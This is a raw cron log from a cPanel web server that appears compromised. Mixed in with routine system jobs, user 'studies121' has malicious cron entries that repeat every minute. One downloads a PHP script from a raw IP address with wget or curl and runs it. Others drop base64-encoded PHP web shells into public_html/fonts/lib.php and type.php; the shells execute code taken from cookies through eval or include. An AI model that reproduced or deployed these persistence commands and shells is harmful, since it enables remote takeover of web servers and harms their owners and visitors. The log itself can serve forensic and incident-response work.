Sep  4 07:56:01 ip-184-168-122-23 CROND[18265]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 07:56:01 ip-184-168-122-23 CROND[18267]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:57:01 ip-184-168-122-23 CROND[18370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:57:01 ip-184-168-122-23 CROND[18373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:57:01 ip-184-168-122-23 CROND[18372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:57:01 ip-184-168-122-23 CROND[18371]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:58:01 ip-184-168-122-23 CROND[18483]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:58:01 ip-184-168-122-23 CROND[18485]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:58:01 ip-184-168-122-23 CROND[18486]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 07:58:01 ip-184-168-122-23 CROND[18487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:58:01 ip-184-168-122-23 CROND[18488]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:59:01 ip-184-168-122-23 CROND[18577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:59:01 ip-184-168-122-23 CROND[18578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:59:01 ip-184-168-122-23 CROND[18579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:59:01 ip-184-168-122-23 CROND[18580]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:00:01 ip-184-168-122-23 CROND[18732]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 08:00:01 ip-184-168-122-23 CROND[18733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:00:01 ip-184-168-122-23 CROND[18735]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 08:00:01 ip-184-168-122-23 CROND[18739]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 08:00:01 ip-184-168-122-23 CROND[18738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:00:01 ip-184-168-122-23 CROND[18737]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 08:00:01 ip-184-168-122-23 CROND[18741]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:00:01 ip-184-168-122-23 CROND[18742]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  4 08:00:01 ip-184-168-122-23 CROND[18743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:00:01 ip-184-168-122-23 CROND[18744]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Sep  4 08:01:01 ip-184-168-122-23 CROND[18888]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 08:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[18888]: starting 0anacron
Sep  4 08:01:01 ip-184-168-122-23 CROND[18894]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:01:01 ip-184-168-122-23 CROND[18895]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 08:01:01 ip-184-168-122-23 CROND[18896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:01:01 ip-184-168-122-23 CROND[18897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:01:01 ip-184-168-122-23 CROND[18898]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[18909]: finished 0anacron
Sep  4 08:02:01 ip-184-168-122-23 CROND[19053]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:02:01 ip-184-168-122-23 CROND[19055]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 08:02:01 ip-184-168-122-23 CROND[19056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:02:01 ip-184-168-122-23 CROND[19057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:02:01 ip-184-168-122-23 CROND[19058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:03:01 ip-184-168-122-23 CROND[19159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:03:01 ip-184-168-122-23 CROND[19160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:03:01 ip-184-168-122-23 CROND[19161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:03:01 ip-184-168-122-23 CROND[19162]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:04:01 ip-184-168-122-23 CROND[19241]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 08:04:01 ip-184-168-122-23 CROND[19244]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:04:01 ip-184-168-122-23 CROND[19245]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:04:01 ip-184-168-122-23 CROND[19242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:04:01 ip-184-168-122-23 CROND[19243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:05:01 ip-184-168-122-23 CROND[19334]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:05:01 ip-184-168-122-23 CROND[19336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:05:01 ip-184-168-122-23 CROND[19337]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:05:01 ip-184-168-122-23 CROND[19341]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 08:05:01 ip-184-168-122-23 CROND[19340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:05:01 ip-184-168-122-23 CROND[19338]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 08:05:01 ip-184-168-122-23 CROND[19339]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 08:06:01 ip-184-168-122-23 CROND[19505]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:06:01 ip-184-168-122-23 CROND[19507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:06:01 ip-184-168-122-23 CROND[19510]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 08:06:01 ip-184-168-122-23 CROND[19508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:06:01 ip-184-168-122-23 CROND[19509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:07:01 ip-184-168-122-23 CROND[19587]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:07:01 ip-184-168-122-23 CROND[19592]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:07:01 ip-184-168-122-23 CROND[19591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:07:01 ip-184-168-122-23 CROND[19590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:08:01 ip-184-168-122-23 CROND[19683]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:08:02 ip-184-168-122-23 CROND[19687]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:08:02 ip-184-168-122-23 CROND[19685]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
